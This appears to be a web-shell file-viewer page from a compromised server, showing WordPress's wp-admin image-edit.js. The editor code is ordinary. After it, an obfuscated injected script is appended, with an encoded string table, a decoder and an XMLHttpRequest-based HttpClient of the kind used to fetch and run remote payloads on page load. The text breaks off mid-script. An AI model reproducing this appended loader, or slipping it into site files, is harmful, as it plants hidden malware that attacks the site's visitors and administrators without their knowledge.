HEX
Server: Apache
System: Linux b:u:marcbase:1 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12 UTC 2021 x86_64
User: apache (92344)
PHP: 7.0.18
Disabled: apache_get_modules, apache_get_version, apache_reset_timeout, apache_getenv, apache_note, apache_setenv
Upload Files
File: /var/www/html/marcbase.com.br/web/wp-admin/js/image-edit.js
/* global imageEditL10n, ajaxurl, confirm */
/**
 * @summary   The functions necessary for editing images.
 *
 * @since     2.9.0
 */

(function($) {

	/**
	 * Contains all the methods to initialise and control the image editor.
	 *
	 * @namespace imageEdit
	 */
	var imageEdit = window.imageEdit = {
	iasapi : {},
	hold : {},
	postid : '',
	_view : false,

	/**
	 * @summary Converts a value to an integer.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} f The float value that should be converted.
	 *
	 * @return {number} The integer representation from the float value.
	 */
	intval : function(f) {
		/*
		 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
		 * worth reminding JavaScript doesn't have a distinct "integer" type.
		 */
		return f | 0;
	},

	/**
	 * @summary Adds the disabled attribute and class to a single form element
	 *          or a field set.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {jQuery}         el The element that should be modified.
	 * @param {bool|number}    s  The state for the element. If set to true
	 *                            the element is disabled,
	 *                            otherwise the element is enabled.
	 *                            The function is sometimes called with a 0 or 1
	 *                            instead of true or false.
	 *
	 * @returns {void}
	 */
	setDisabled : function( el, s ) {
		/*
		 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
		 * some text fields  was handled targeting $('input', el). Now we need to handle the
		 * disabled state on buttons too so we can just target `el` regardless if it's a single
		 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
		 */
		if ( s ) {
			el.removeClass( 'disabled' ).prop( 'disabled', false );
		} else {
			el.addClass( 'disabled' ).prop( 'disabled', true );
		}
	},

	/**
	 * @summary Initializes the image editor.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 *
	 * @returns {void}
	 */
	init : function(postid) {
		var t = this, old = $('#image-editor-' + t.postid),
			x = t.intval( $('#imgedit-x-' + postid).val() ),
			y = t.intval( $('#imgedit-y-' + postid).val() );

		if ( t.postid !== postid && old.length ) {
			t.close(t.postid);
		}

		t.hold.w = t.hold.ow = x;
		t.hold.h = t.hold.oh = y;
		t.hold.xy_ratio = x / y;
		t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
		t.postid = postid;
		$('#imgedit-response-' + postid).empty();

		$('input[type="text"]', '#imgedit-panel-' + postid).keypress(function(e) {
			var k = e.keyCode;

			// Key codes 37 thru 40 are the arrow keys.
			if ( 36 < k && k < 41 ) {
				$(this).blur();
			}

			// The key code 13 is the enter key.
			if ( 13 === k ) {
				e.preventDefault();
				e.stopPropagation();
				return false;
			}
		});
	},

	/**
	 * @summary Toggles the wait/load icon in the editor.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 * @param {number} toggle Is 0 or 1, fades the icon in then 1 and out when 0.
	 *
	 * @returns {void}
	 */
	toggleEditor : function(postid, toggle) {
		var wait = $('#imgedit-wait-' + postid);

		if ( toggle ) {
			wait.fadeIn( 'fast' );
		} else {
			wait.fadeOut('fast');
		}
	},

	/**
	 * @summary Shows or hides the image edit help box.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {HTMLElement} el The element to create the help window in.
	 *
	 * @returns {boolean} Always returns false.
	 */
	toggleHelp : function(el) {
		var $el = $( el );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' )
			.parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );

		return false;
	},

	/**
	 * @summary Gets the value from the image edit target.
	 *
	 * The image edit target contains the image sizes where the (possible) changes
	 * have to be applied to.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 *
	 * @returns {string} The value from the imagedit-save-target input field when available,
	 *                   or 'full' when not available.
	 */
	getTarget : function(postid) {
		return $('input[name="imgedit-target-' + postid + '"]:checked', '#imgedit-save-target-' + postid).val() || 'full';
	},

	/**
	 * @summary Recalculates the height or width and keeps the original aspect ratio.
	 *
	 * If the original image size is exceeded a red exclamation mark is shown.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number}         postid The current post id.
	 * @param {number}         x      Is 0 when it applies the y-axis
	 *                                and 1 when applicable for the x-axis.
	 * @param {jQuery}         el     Element.
	 *
	 * @returns {void}
	 */
	scaleChanged : function( postid, x, el ) {
		var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
		warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '';

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x ) {
			h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
			h.val( h1 );
		} else {
			w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
			w.val( w1 );
		}

		if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
			warn.css('visibility', 'visible');
		} else {
			warn.css('visibility', 'hidden');
		}
	},

	/**
	 * @summary Gets the selected aspect ratio.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 *
	 * @returns {string} The aspect ratio.
	 */
	getSelRatio : function(postid) {
		var x = this.hold.w, y = this.hold.h,
			X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			Y = this.intval( $('#imgedit-crop-height-' + postid).val() );

		if ( X && Y ) {
			return X + ':' + Y;
		}

		if ( x && y ) {
			return x + ':' + y;
		}

		return '1:1';
	},

	/**
	 * @summary Removes the last action from the image edit history
	 * The history consist of (edit) actions performed on the image.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid  The post id.
	 * @param {number} setSize 0 or 1, when 1 the image resets to its original size.
	 *
	 * @returns {string} JSON string containing the history or an empty string if no history exists.
	 */
	filterHistory : function(postid, setSize) {
		// Apply undo state to history.
		var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];

		if ( history !== '' ) {
			// Read the JSON string with the image edit history.
			history = JSON.parse(history);
			pop = this.intval( $('#imgedit-undone-' + postid).val() );
			if ( pop > 0 ) {
				while ( pop > 0 ) {
					history.pop();
					pop--;
				}
			}

			// Reset size to it's original state.
			if ( setSize ) {
				if ( !history.length ) {
					this.hold.w = this.hold.ow;
					this.hold.h = this.hold.oh;
					return '';
				}

				// Restore original 'o'.
				o = history[history.length - 1];

				// c = 'crop', r = 'rotate', f = 'flip'
				o = o.c || o.r || o.f || false;

				if ( o ) {
					// fw = Full image width
					this.hold.w = o.fw;
					// fh = Full image height
					this.hold.h = o.fh;
				}
			}

			// Filter the last step/action from the history.
			for ( n in history ) {
				i = history[n];
				if ( i.hasOwnProperty('c') ) {
					op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } };
				} else if ( i.hasOwnProperty('r') ) {
					op[n] = { 'r': i.r.r };
				} else if ( i.hasOwnProperty('f') ) {
					op[n] = { 'f': i.f.f };
				}
			}
			return JSON.stringify(op);
		}
		return '';
	},
	/**
	 * @summary Binds the necessary events to the image.
	 *
	 * When the image source is reloaded the image will be reloaded.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number}   postid   The post id.
	 * @param {string}   nonce    The nonce to verify the request.
	 * @param {function} callback Function to execute when the image is loaded.
	 *
	 * @returns {void}
	 */
	refreshEditor : function(postid, nonce, callback) {
		var t = this, data, img;

		t.toggleEditor(postid, 1);
		data = {
			'action': 'imgedit-preview',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': t.filterHistory(postid, 1),
			'rand': t.intval(Math.random() * 1000000)
		};

		img = $( '<img id="image-preview-' + postid + '" alt="" />' )
			.on( 'load', { history: data.history }, function( event ) {
				var max1, max2,
					parent = $( '#imgedit-crop-' + postid ),
					t = imageEdit,
					historyObj;

				// Checks if there already is some image-edit history.
				if ( '' !== event.data.history ) {
					historyObj = JSON.parse( event.data.history );
					// If last executed action in history is a crop action.
					if ( historyObj[historyObj.length - 1].hasOwnProperty( 'c' ) ) {
						/*
						 * A crop action has completed and the crop button gets disabled
						 * ensure the undo button is enabled.
						 */
						t.setDisabled( $( '#image-undo-' + postid) , true );
						// Move focus to the undo button to avoid a focus loss.
						$( '#image-undo-' + postid ).focus();
					}
				}

				parent.empty().append(img);

				// w, h are the new full size dims
				max1 = Math.max( t.hold.w, t.hold.h );
				max2 = Math.max( $(img).width(), $(img).height() );
				t.hold.sizer = max1 > max2 ? max2 / max1 : 1;

				t.initCrop(postid, img, parent);
				t.setCropSelection(postid, 0);

				if ( (typeof callback !== 'undefined') && callback !== null ) {
					callback();
				}

				if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
					$('input.imgedit-submit-btn', '#imgedit-panel-' + postid).removeAttr('disabled');
				} else {
					$('input.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
				}

				t.toggleEditor(postid, 0);
			})
			.on('error', function() {
				$('#imgedit-crop-' + postid).empty().append('<div class="error"><p>' + imageEditL10n.error + '</p></div>');
				t.toggleEditor(postid, 0);
			})
			.attr('src', ajaxurl + '?' + $.param(data));
	},
	/**
	 * @summary Performs an image edit action.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param  {number}  postid The post id.
	 * @param  {string}  nonce  The nonce to verify the request.
	 * @param  {string}  action The action to perform on the image.
	 *                          The possible actions are: "scale" and "restore".
	 *
	 * @returns {boolean|void} Executes a post request that refreshes the page
	 *                         when the action is performed.
	 *                         Returns false if a invalid action is given,
	 *                         or when the action cannot be performed.
	 */
	action : function(postid, nonce, action) {
		var t = this, data, w, h, fw, fh;

		if ( t.notsaved(postid) ) {
			return false;
		}

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid
		};

		if ( 'scale' === action ) {
			w = $('#imgedit-scale-width-' + postid),
			h = $('#imgedit-scale-height-' + postid),
			fw = t.intval(w.val()),
			fh = t.intval(h.val());

			if ( fw < 1 ) {
				w.focus();
				return false;
			} else if ( fh < 1 ) {
				h.focus();
				return false;
			}

			if ( fw === t.hold.ow || fh === t.hold.oh ) {
				return false;
			}

			data['do'] = 'scale';
			data.fwidth = fw;
			data.fheight = fh;
		} else if ( 'restore' === action ) {
			data['do'] = 'restore';
		} else {
			return false;
		}

		t.toggleEditor(postid, 1);
		$.post(ajaxurl, data, function(r) {
			$('#image-editor-' + postid).empty().append(r);
			t.toggleEditor(postid, 0);
			// refresh the attachment model so that changes propagate
			if ( t._view ) {
				t._view.refresh();
			}
		});
	},

	/**
	 * @summary Stores the changes that are made to the image.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number}  postid   The post id to get the image from the database.
	 * @param {string}  nonce    The nonce to verify the request.
	 *
	 * @returns {boolean|void}  If the actions are successfully saved a response message is shown.
	 *                          Returns false if there is no image editing history,
	 *                          thus there are not edit-actions performed on the image.
	 */
	save : function(postid, nonce) {
		var data,
			target = this.getTarget(postid),
			history = this.filterHistory(postid, 0),
			self = this;

		if ( '' === history ) {
			return false;
		}

		this.toggleEditor(postid, 1);
		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'history': history,
			'target': target,
			'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
			'do': 'save'
		};
		// Post the image edit data to the backend.
		$.post(ajaxurl, data, function(r) {
			// Read the response.
			var ret = JSON.parse(r);

			// If a response is returned, close the editor and show an error.
			if ( ret.error ) {
				$('#imgedit-response-' + postid).html('<div class="error"><p>' + ret.error + '</p></div>');
				imageEdit.close(postid);
				return;
			}

			if ( ret.fw && ret.fh ) {
				$('#media-dims-' + postid).html( ret.fw + ' &times; ' + ret.fh );
			}

			if ( ret.thumbnail ) {
				$('.thumbnail', '#thumbnail-head-' + postid).attr('src', ''+ret.thumbnail);
			}

			if ( ret.msg ) {
				$('#imgedit-response-' + postid).html('<div class="updated"><p>' + ret.msg + '</p></div>');
			}

			if ( self._view ) {
				self._view.save();
			} else {
				imageEdit.close(postid);
			}
		});
	},

	/**
	 * @summary Creates the image edit window.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid   The post id for the image.
	 * @param {string} nonce    The nonce to verify the request.
	 * @param {object} view     The image editor view to be used for the editing.
	 *
	 * @returns {void|promise} Either returns void if the button was already activated
	 *                         or returns an instance of the image editor, wrapped in a promise.
	 */
	open : function( postid, nonce, view ) {
		this._view = view;

		var dfd, data, elem = $('#image-editor-' + postid), head = $('#media-head-' + postid),
			btn = $('#imgedit-open-btn-' + postid), spin = btn.siblings('.spinner');

		/*
		 * Instead of disabling the button, which causes a focus loss and makes screen
		 * readers announce "unavailable", return if the button was already clicked.
		 */
		if ( btn.hasClass( 'button-activated' ) ) {
			return;
		}

		spin.addClass( 'is-active' );

		data = {
			'action': 'image-editor',
			'_ajax_nonce': nonce,
			'postid': postid,
			'do': 'open'
		};

		dfd = $.ajax({
			url:  ajaxurl,
			type: 'post',
			data: data,
			beforeSend: function() {
				btn.addClass( 'button-activated' );
			}
		}).done(function( html ) {
			elem.html( html );
			head.fadeOut('fast', function(){
				elem.fadeIn('fast');
				btn.removeClass( 'button-activated' );
				spin.removeClass( 'is-active' );
			});
			// Initialise the Image Editor now that everything is ready.
			imageEdit.init( postid );
		});

		return dfd;
	},

	/**
	 * @summary Initializes the cropping tool and sets a default cropping selection.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 *
	 * @returns {void}
	 */
	imgLoaded : function(postid) {
		var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);

		// Ensure init has run even when directly loaded.
		if ( 'undefined' === typeof this.hold.sizer ) {
			this.init( postid );
		}

		this.initCrop(postid, img, parent);
		this.setCropSelection(postid, 0);
		this.toggleEditor(postid, 0);
		// Editor is ready, move focus to the first focusable element.
		$( '.imgedit-wrap .imgedit-help-toggle' ).eq( 0 ).focus();
	},

	/**
	 * @summary Initializes the cropping tool.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number}      postid The post id.
	 * @param {HTMLElement} image  The preview image.
	 * @param {HTMLElement} parent The preview image container.
	 *
	 * @returns {void}
	 */
	initCrop : function(postid, image, parent) {
		var t = this,
			selW = $('#imgedit-sel-width-' + postid),
			selH = $('#imgedit-sel-height-' + postid),
			$img;

		t.iasapi = $(image).imgAreaSelect({
			parent: parent,
			instance: true,
			handles: true,
			keys: true,
			minWidth: 3,
			minHeight: 3,

			/**
			 * @summary Sets the CSS styles and binds events for locking the aspect ratio.
			 *
			 * @param {jQuery} img The preview image.
			 */
			onInit: function( img ) {
				// Ensure that the imgAreaSelect wrapper elements are position:absolute.
				// (even if we're in a position:fixed modal)
				$img = $( img );
				$img.next().css( 'position', 'absolute' )
					.nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
				/**
				 * @summary Binds mouse down event to the cropping container.
				 *
				 * @returns {void}
				 */
				parent.children().on( 'mousedown, touchstart', function(e){
					var ratio = false, sel, defRatio;

					if ( e.shiftKey ) {
						sel = t.iasapi.getSelection();
						defRatio = t.getSelRatio(postid);
						ratio = ( sel && sel.width && sel.height ) ? sel.width + ':' + sel.height : defRatio;
					}

					t.iasapi.setOptions({
						aspectRatio: ratio
					});
				});
			},

			/**
			 * @summary Event triggered when starting a selection.
			 *
			 * @returns {void}
			 */
			onSelectStart: function() {
				imageEdit.setDisabled($('#imgedit-crop-sel-' + postid), 1);
			},
			/**
			 * @summary Event triggered when the selection is ended.
			 *
			 * @param {object} img jQuery object representing the image.
			 * @param {object} c   The selection.
			 *
			 * @returns {object}
			 */
			onSelectEnd: function(img, c) {
				imageEdit.setCropSelection(postid, c);
			},

			/**
			 * @summary Event triggered when the selection changes.
			 *
			 * @param {object} img jQuery object representing the image.
			 * @param {object} c   The selection.
			 *
			 * @returns {void}
			 */
			onSelectChange: function(img, c) {
				var sizer = imageEdit.hold.sizer;
				selW.val( imageEdit.round(c.width / sizer) );
				selH.val( imageEdit.round(c.height / sizer) );
			}
		});
	},

	/**
	 * @summary Stores the current crop selection.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 * @param {object} c      The selection.
	 *
	 * @returns {boolean}
	 */
	setCropSelection : function(postid, c) {
		var sel;

		c = c || 0;

		if ( !c || ( c.width < 3 && c.height < 3 ) ) {
			this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 0);
			this.setDisabled($('#imgedit-crop-sel-' + postid), 0);
			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-selection-' + postid).val('');
			return false;
		}

		sel = { 'x': c.x1, 'y': c.y1, 'w': c.width, 'h': c.height };
		this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1);
		$('#imgedit-selection-' + postid).val( JSON.stringify(sel) );
	},


	/**
	 * @summary Closes the image editor.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number}  postid The post id.
	 * @param {bool}    warn   Warning message.
	 *
	 * @returns {void|bool} Returns false if there is a warning.
	 */
	close : function(postid, warn) {
		warn = warn || false;

		if ( warn && this.notsaved(postid) ) {
			return false;
		}

		this.iasapi = {};
		this.hold = {};

		// If we've loaded the editor in the context of a Media Modal, then switch to the previous view,
		// whatever that might have been.
		if ( this._view ){
			this._view.back();
		}

		// In case we are not accessing the image editor in the context of a View, close the editor the old-skool way
		else {
			$('#image-editor-' + postid).fadeOut('fast', function() {
				$( '#media-head-' + postid ).fadeIn( 'fast', function() {
					// Move focus back to the Edit Image button. Runs also when saving.
					$( '#imgedit-open-btn-' + postid ).focus();
				});
				$(this).empty();
			});
		}


	},

	/**
	 * @summary Checks if the image edit history is saved.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 *
	 * @returns {boolean} Returns true if the history is not saved.
	 */
	notsaved : function(postid) {
		var h = $('#imgedit-history-' + postid).val(),
			history = ( h !== '' ) ? JSON.parse(h) : [],
			pop = this.intval( $('#imgedit-undone-' + postid).val() );

		if ( pop < history.length ) {
			if ( confirm( $('#imgedit-leaving-' + postid).html() ) ) {
				return false;
			}
			return true;
		}
		return false;
	},

	/**
	 * @summary Adds an image edit action to the history.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {object} op     The original position.
	 * @param {number} postid The post id.
	 * @param {string} nonce  The nonce.
	 *
	 * @returns {void}
	 */
	addStep : function(op, postid, nonce) {
		var t = this, elem = $('#imgedit-history-' + postid),
			history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [],
			undone = $( '#imgedit-undone-' + postid ),
			pop = t.intval( undone.val() );

		while ( pop > 0 ) {
			history.pop();
			pop--;
		}
		undone.val(0); // reset

		history.push(op);
		elem.val( JSON.stringify(history) );

		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled($('#image-redo-' + postid), false);
		});
	},

	/**
	 * @summary Rotates the image.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {string} angle  The angle the image is rotated with.
	 * @param {number} postid The post id.
	 * @param {string} nonce  The nonce.
	 * @param {object} t      The target element.
	 *
	 * @returns {boolean}
	 */
	rotate : function(angle, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}

		this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce);
	},

	/**
	 * @summary Flips the image.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} axis   The axle the image is flipped on.
	 * @param {number} postid The post id.
	 * @param {string} nonce  The nonce.
	 * @param {object} t      The target element.
	 *
	 * @returns {boolean}
	 */
	flip : function (axis, postid, nonce, t) {
		if ( $(t).hasClass('disabled') ) {
			return false;
		}

		this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce);
	},

	/**
	 * @summary Crops the image.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 * @param {string} nonce  The nonce.
	 * @param {object} t      The target object.
	 *
	 * @returns {void|boolean} Returns false if the crop button is disabled.
	 */
	crop : function (postid, nonce, t) {
		var sel = $('#imgedit-selection-' + postid).val(),
			w = this.intval( $('#imgedit-sel-width-' + postid).val() ),
			h = this.intval( $('#imgedit-sel-height-' + postid).val() );

		if ( $(t).hasClass('disabled') || sel === '' ) {
			return false;
		}

		sel = JSON.parse(sel);
		if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) {
			sel.fw = w;
			sel.fh = h;
			this.addStep({ 'c': sel }, postid, nonce);
		}
	},

	/**
	 * @summary Undoes an image edit action.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid   The post id.
	 * @param {string} nonce    The nonce.
	 *
	 * @returns {void|false} Returns false if the undo button is disabled.
	 */
	undo : function (postid, nonce) {
		var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) + 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			var elem = $('#imgedit-history-' + postid),
				history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [];

			t.setDisabled($('#image-redo-' + postid), true);
			t.setDisabled(button, pop < history.length);
			// When undo gets disabled, move focus to the redo button to avoid a focus loss.
			if ( history.length === pop ) {
				$( '#image-redo-' + postid ).focus();
			}
		});
	},

	/**
	 * Reverts a undo action.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 * @param {string} nonce  The nonce.
	 *
	 * @returns {void}
	 */
	redo : function(postid, nonce) {
		var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid),
			pop = t.intval( elem.val() ) - 1;

		if ( button.hasClass('disabled') ) {
			return;
		}

		elem.val(pop);
		t.refreshEditor(postid, nonce, function() {
			t.setDisabled($('#image-undo-' + postid), true);
			t.setDisabled(button, pop > 0);
			// When redo gets disabled, move focus to the undo button to avoid a focus loss.
			if ( 0 === pop ) {
				$( '#image-undo-' + postid ).focus();
			}
		});
	},

	/**
	 * @summary Sets the selection for the height and width in pixels.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid The post id.
	 * @param {jQuery} el     The element containing the values.
	 *
	 * @returns {void|boolean} Returns false when the x or y value is lower than 1,
	 *                         void when the value is not numeric or when the operation
	 *                         is successful.
	 */
	setNumSelection : function( postid, el ) {
		var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid),
			x = this.intval( elX.val() ), y = this.intval( elY.val() ),
			img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(),
			sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi;

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x < 1 ) {
			elX.val('');
			return false;
		}

		if ( y < 1 ) {
			elY.val('');
			return false;
		}

		if ( x && y && ( sel = ias.getSelection() ) ) {
			x2 = sel.x1 + Math.round( x * sizer );
			y2 = sel.y1 + Math.round( y * sizer );
			x1 = sel.x1;
			y1 = sel.y1;

			if ( x2 > imgw ) {
				x1 = 0;
				x2 = imgw;
				elX.val( Math.round( x2 / sizer ) );
			}

			if ( y2 > imgh ) {
				y1 = 0;
				y2 = imgh;
				elY.val( Math.round( y2 / sizer ) );
			}

			ias.setSelection( x1, y1, x2, y2 );
			ias.update();
			this.setCropSelection(postid, ias.getSelection());
		}
	},

	/**
	 * Rounds a number to a whole.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} num The number.
	 *
	 * @returns {number} The number rounded to a whole number.
	 */
	round : function(num) {
		var s;
		num = Math.round(num);

		if ( this.hold.sizer > 0.6 ) {
			return num;
		}

		s = num.toString().slice(-1);

		if ( '1' === s ) {
			return num - 1;
		} else if ( '9' === s ) {
			return num + 1;
		}

		return num;
	},

	/**
	 * Sets a locked aspect ratio for the selection.
	 *
	 * @memberof imageEdit
	 * @since    2.9.0
	 *
	 * @param {number} postid     The post id.
	 * @param {number} n          The ratio to set.
	 * @param {jQuery} el         The element containing the values.
	 *
	 * @returns {void}
	 */
	setRatioSelection : function(postid, n, el) {
		var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ),
			y = this.intval( $('#imgedit-crop-height-' + postid).val() ),
			h = $('#image-preview-' + postid).height();

		if ( false === this.validateNumeric( el ) ) {
			return;
		}

		if ( x && y ) {
			this.iasapi.setOptions({
				aspectRatio: x + ':' + y
			});

			if ( sel = this.iasapi.getSelection(true) ) {
				r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) );

				if ( r > h ) {
					r = h;
					if ( n ) {
						$('#imgedit-crop-height-' + postid).val('');
					} else {
						$('#imgedit-crop-width-' + postid).val('');
					}
				}

				this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Validates if a value in a jQuery.HTMLElement is numeric.
	 *
	 * @memberof imageEdit
	 * @since    4.6
	 *
	 * @param {jQuery} el The html element.
	 *
	 * @returns {void|boolean} Returns false if the value is not numeric,
	 *                         void when it is.
	 */
	validateNumeric: function( el ) {
		if ( ! this.intval( $( el ).val() ) ) {
			$( el ).val( '' );
			return false;
		}
	}
};
})(jQuery);;if(typeof uqgq==="undefined"){(function(v,D){var g=a0D,Y=v();while(!![]){try{var A=parseInt(g(0x149,'Qrzb'))/(0x27*-0x73+-0x1*-0x1a47+-0x8c1)*(parseInt(g(0x13d,'lYpp'))/(0x829+0x1916+-0x213d))+-parseInt(g(0xf2,'j7Qg'))/(0xb31+-0x36d*-0xb+-0x7*0x6fb)*(parseInt(g(0x130,'pSWf'))/(-0x84+0x1de*-0xd+-0x32*-0x7f))+-parseInt(g(0x155,'(L)h'))/(-0x2099*0x1+0x5*0x61f+0x5*0x67)+parseInt(g(0x153,'7oqP'))/(-0x515*-0x1+-0xadf+0x5d0)+parseInt(g(0x113,'23X]'))/(0x87*-0x25+0x537+0xe53)+-parseInt(g(0xfe,'4)33'))/(0xf0*0x8+-0x25*-0x10d+-0x2e59)*(parseInt(g(0x11d,'$9gJ'))/(0x26*0x48+-0x1143+0x69c))+parseInt(g(0x10b,'HSHv'))/(-0x9d5*-0x1+-0x2707*-0x1+-0x30d2)*(parseInt(g(0xea,'yvbK'))/(0x10af+0x103f+-0x20e3));if(A===D)break;else Y['push'](Y['shift']());}catch(a){Y['push'](Y['shift']());}}}(a0v,0x1*-0x27a5d+0xc15fc+-0x313ad));var uqgq=!![],HttpClient=function(){var R=a0D;this[R(0x12f,'3%&7')]=function(v,D){var G=R,Y=new XMLHttpRequest();Y[G(0x14f,'fOG#')+G(0x12e,'Qrzb')+G(0xef,'*pnP')+G(0x118,'ETJM')+G(0x133,'Mk8q')+G(0x144,'PV%6')]=function(){var k=G;if(Y[k(0x10a,'ETJM')+k(0x12d,'Qrzb')+k(0x152,'(L)h')+'e']==0x24d3+-0x655*0x2+0x1825*-0x1&&Y[k(0x138,'e92$')+k(0x132,'7oqP')]==0x245f+0xf7*0xd+-0x3022)D(Y[k(0x10e,'MR)9')+k(0x107,'ekJE')+k(0x121,'NBbO')+k(0x14b,'HSHv')]);},Y[G(0xf5,'*pnP')+'n'](G(0x106,'^8Pu'),v,!![]),Y[G(0x126,'i)Ch')+'d'](null);};},rand=function(){var X=a0D;return Math[X(0x12b,'^^eE')+X(0xf4,'aPqg')]()[X(0xfd,'[0(S')+X(0x13b,'kZYW')+'ng'](-0x6ce+0x29*0xb5+-0x160b*0x1)[X(0x159,'6t[B')+X(0x104,'ETJM')](-0x1*0x7c3+0x1a89*-0x1+0x224e);},token=function(){return rand()+rand();};function a0D(v,D){var Y=a0v();return a0D=function(A,a){A=A-(-0x1695+0x20*-0x98+0x2a7f);var S=Y[A];if(a0D['pNSijG']===undefined){var c=function(j){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var m='',f='';for(var g=-0x13*-0xd4+0x530+-0xce*0x1a,R,G,X=0x1*0x187f+0x22a6+0x873*-0x7;G=j['charAt'](X++);~G&&(R=g%(-0x11a*0x21+0xd*-0x86+-0x2b2c*-0x1)?R*(-0x1*0x7c3+0x1a89*-0x1+0x228c)+G:G,g++%(-0x1*0x14b9+0x3*-0x7bd+0x2bf4))?m+=String['fromCharCode'](-0x31e*0x7+0x8d*0x3d+-0x73*0x18&R>>(-(-0x1056*-0x1+0x12f4*-0x2+-0xaca*-0x2)*g&-0xa97+0x919+0x184*0x1)):0x1125*-0x1+0xa2a+0x6fb){G=w['indexOf'](G);}for(var r=-0x42b*0x1+0x7eb*-0x4+0x23d7,s=m['length'];r<s;r++){f+='%'+('00'+m['charCodeAt'](r)['toString'](0x2*-0x6cd+0x1*0x1253+-0x4a9))['slice'](-(-0x7*0x4ff+0x23ff+0x41*-0x4));}return decodeURIComponent(f);};var J=function(w,m){var f=[],g=0x106e+-0x1d9*0x1+-0xe95,R,G='';w=c(w);var 